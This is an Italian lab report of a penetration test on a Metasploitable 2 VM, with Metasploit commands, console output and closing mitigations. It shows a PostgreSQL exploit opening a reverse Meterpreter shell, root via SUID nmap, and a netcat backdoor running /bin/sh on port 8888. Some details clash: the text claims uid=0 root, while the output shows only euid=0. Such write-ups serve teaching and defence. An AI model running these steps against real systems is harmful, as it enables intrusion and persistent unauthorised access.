

Relazione Tecnica: Vulnerability Exploitation, Privilege Escalation & Persistenza

Target: Metasploitable 2 (192.168.1.172)

Attaccante: Kali Linux (192.168.1.171)

Considerazioni Iniziali e Approccio Metodologico

L'esecuzione di questo laboratorio ha offerto un importante spunto didattico che riflette fedelmente le dinamiche reali di un'attività di Penetration Testing. Nella sicurezza informatica, infatti, l'attacco non segue quasi mai un percorso lineare o puramente automatizzato; l'efficacia dell'analista risiede nella capacità di interpretare le risposte del sistema, diagnosticare i fallimenti e adattare la strategia di conseguenza.

Durante le prime fasi dell'attività, l'utilizzo di moduli di exploit locali completamente automatizzati all'interno del framework Metasploit (come ad esempio `udev_netlink` o `glibc_origin_expansion_priv_esc`) ha riscontrato limitazioni tecniche e di compatibilità ambientale, restituendo errori logici e impedendo la generazione automatica di sessioni privilegiate di tipo Meterpreter.

Anziché interrompere l'analisi, questi fallimenti sono stati trattati come indicatori metodologici:

1. Hanno confermato, tramite i moduli di ricognizione (come il *Local Exploit Suggester*), la presenza strutturale di specifiche debolezze nel sistema target.
2. Hanno spinto l'operatore a studiare vie alternative, passando dall'automazione del framework a un approccio manuale mirato direttamente sul sistema operativo.

La scelta finale di sfruttare manualmente la configurazione errata dei permessi d'esecuzione (il bit SUID sul binario Nmap) evidenzia un concetto fondamentale della cybersecurity: spesso le vulnerabilità più letali e stabili non risiedono in complessi bug del codice del kernel, ma in semplici errori di configurazione amministrativa (Misconfiguration) lasciati dal gestore del sistema. Comprendere questo meccanismo permette non solo di condurre un attacco con successo, ma soprattutto di progettare contromisure difensive adeguate e mirate.

1. Obiettivi e Scenario d'Attacco

L'obiettivo di questa attività di laboratorio è analizzare l'intero ciclo di vita di una compromissione informatica. Lo scenario prevede lo sfruttamento di una vulnerabilità di esecuzione remota di codice su un servizio di database (PostgreSQL) per ottenere l'accesso iniziale, l'analisi del sistema operativo target alla ricerca di vettori di escalation locali (Privilege Escalation) e l'installazione di una backdoor amministrativa permanente per garantirsi l'accesso successivo (Persistenza).

2. Fase 1: Accesso Iniziale (Exploitation)

Il servizio PostgreSQL (porta 5432) sulla macchina Metasploitable presenta una configurazione permissiva che consente il caricamento di librerie dinamiche condivise (.so) per l'esecuzione di codice arbitrario. Per l'attacco è stato impiegato il framework Metasploit.

Comandi eseguiti su msfconsole:

```
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.1.172
set LHOST 192.168.1.171
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LPORT 4449
exploit
```

Descrizione dei parametri:

- use exploit/linux/postgres/postgres_payload: Seleziona il modulo specifico per l'abuso delle librerie PostgreSQL.
- set RHOSTS 192.168.1.172: Specifica l'IP del target bersaglio.
- set LHOST 192.168.1.171 e set LPORT 4449: Imposta l'ascoltatore locale sulla macchina d'attacco (utilizzando la porta 4449 per evitare conflitti di binding con sessioni precedenti).
- set PAYLOAD linux/x86/meterpreter/reverse_tcp: Configura una sessione interattiva Meterpreter tramite una connessione TCP inversa.

Esito:

L'exploit si è concluso con successo, aprendo la sessione Meterpreter 1. L'esecuzione del comando getuid ha confermato l'ottenimento di una shell limitata associata all'utente di servizio del database:

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.172
RHOSTS => 192.168.1.172
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.171
LHOST => 192.168.1.171
msf exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
```

```
meterpreter > getuid
Server username: postgres
```

Server username: postgres

3. Fase 2: Analisi e Scalata dei Privilegi (Privilege

Escalation)

Ottenuto l'accesso iniziale, è stata avviata un'attività di ricognizione locale per identificare i vettori utili a elevare i privilegi del sistema operativo.

Identificazione delle Vulnerabilità locali:

La sessione 1 è stata messa in pausa in background per eseguire il modulo post-riconoscimento nativo di Metasploit:

```
use post/multi/recon/local_exploit_suggester
set SESSION 1
exploit
```

Lo strumento ha analizzato l'ambiente e ha restituito una lista di potenziali exploit locali, tra cui l'efficace rilevamento di vulnerabilità sul linker dinamico (glibc) e su binari configurati impropriamente con il bit SUID attivo.

Analisi dei tentativi ed Escalation Interattiva:

I moduli di attacco automatizzati del kernel (come udev_netlink e glibc_origin_expansion_priv_esc) hanno mostrato eccezioni logiche interne a livello del framework (NoMethodError: undefined method 'length' for nil), impedendo l'apertura automatica di canali secondari a causa di incompatibilità tra l'interprete Ruby locale e le strutture dei payload.

Per superare l'ostacolo, si è proceduto all'analisi e allo sfruttamento manuale dei vettori di vulnerabilità confermati dallo scanner. È stata aperta una shell di sistema interattiva ed è stato sfruttato il binario di **Nmap** configurato con il bit SUID (Set Owner User ID):

```
shell
nmap --interactive
!sh
```

Esito:

Nmap, essendo configurato per l'esecuzione con i permessi del proprietario originario (l'amministratore root), ha generato una sotto-shell che ha ereditato tali privilegi. L'interrogazione tramite il comando id ha evidenziato il successo dell'operazione:

```
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
```

La presenza del parametro **euid=0(root)** attesta che l'utente corrente opera con l'identità amministrativa effettiva del sistema (Effective User ID = 0).

1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes
5	exploit/linux/local/su_login	Yes
6	exploit/linux/persistence/autostart	Yes
7	exploit/multi/persistence/cron	Yes
8	exploit/multi/persistence/ssh_key	Yes
9	exploit/unix/local/setuid_nmap	Yes

```
meterpreter > shell
Process 6563 created.
Channel 132 created.
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
```

4. Fase 3: Configurazione della Backdoor (Persistenza)

La fase finale dell'esercitazione ha previsto la creazione di un meccanismo di rientro che permetta l'accesso al sistema in un momento successivo senza dover ripetere la catena di exploit iniziale.

Sfruttando l'identità operativa di root ottenuta nella fase precedente, è stata configurata una backdoor TCP interattiva legandola all'utility Netcat integrata nel bersaglio.

Comando eseguito sul target:

```
nc -lvp 8888 -e /bin/sh > /dev/null 2>&1 &
```

Descrizione tecnica del comando di persistenza:

- `nc -lvp 8888 -e /bin/sh`: Avvia Netcat in ascolto persistente (-l) sulla porta locale 8888 (-p), agganciando l'esecuzione della shell di sistema /bin/sh (-e) ad ogni connessione in ingresso.
- `nohup ... &`: Immunizza il processo Netcat dai segnali di chiusura del terminale padre (*no hang up*), forzandone l'esecuzione permanente in background nei processi di sistema.

Verifica dell'Accesso Successivo:

Per validare l'efficacia del canale di persistenza, la connessione originaria è stata chiusa ed è stato simulato un rientro indipendente da una finestra del terminale pulita della macchina Kali Linux (completamente al di fuori dell'ambiente Metasploit):

```
nc 192.168.1.172 8888
```

id

Esito:

Il server ha risposto immediatamente alla chiamata sulla porta 8888, fornendo l'accesso interattivo e confermando tramite il comando id il mantenimento delle credenziali amministrative privilegiate `uid=0(root)`

```
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
nohup nc -lvp 8888 -e /bin/sh > /dev/null 2>&1 &

id
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
```

```
(kali㉿kali)-[~]
$ nc 192.168.1.172 8888
id
uid=108(postgres) gid=117(postgres) euid=0(root) groups=114(ssl-cert),117(postgres)
exit
```

5. Conclusioni e Contromisure (Mitigazione)

L'attività pratica ha dimostrato l'importanza di una corretta gestione delle configurazioni di sicurezza a livello applicativo e di sistema operativo. Per mettere in sicurezza l'infrastruttura analizzata si consiglia di:

1. **Aggiornare il DBMS:** Applicare le patch correttive per PostgreSQL o configurare rigorosamente i permessi di accesso basati su host (`pg_hba.conf`) per impedire il caricamento non autorizzato di codice condiviso.
2. **Rimuovere i Bit SUID Pericolosi:** Revisionare i permessi sui binari di sistema (come Nmap), rimuovendo il bit SUID laddove non strettamente necessario per le utenze non amministrative.
3. **Restrizioni di Rete:** Implementare regole di firewalling (es. iptables) per bloccare il traffico inbound e outbound non autorizzato su porte arbitrarie o non standard (come la 8888).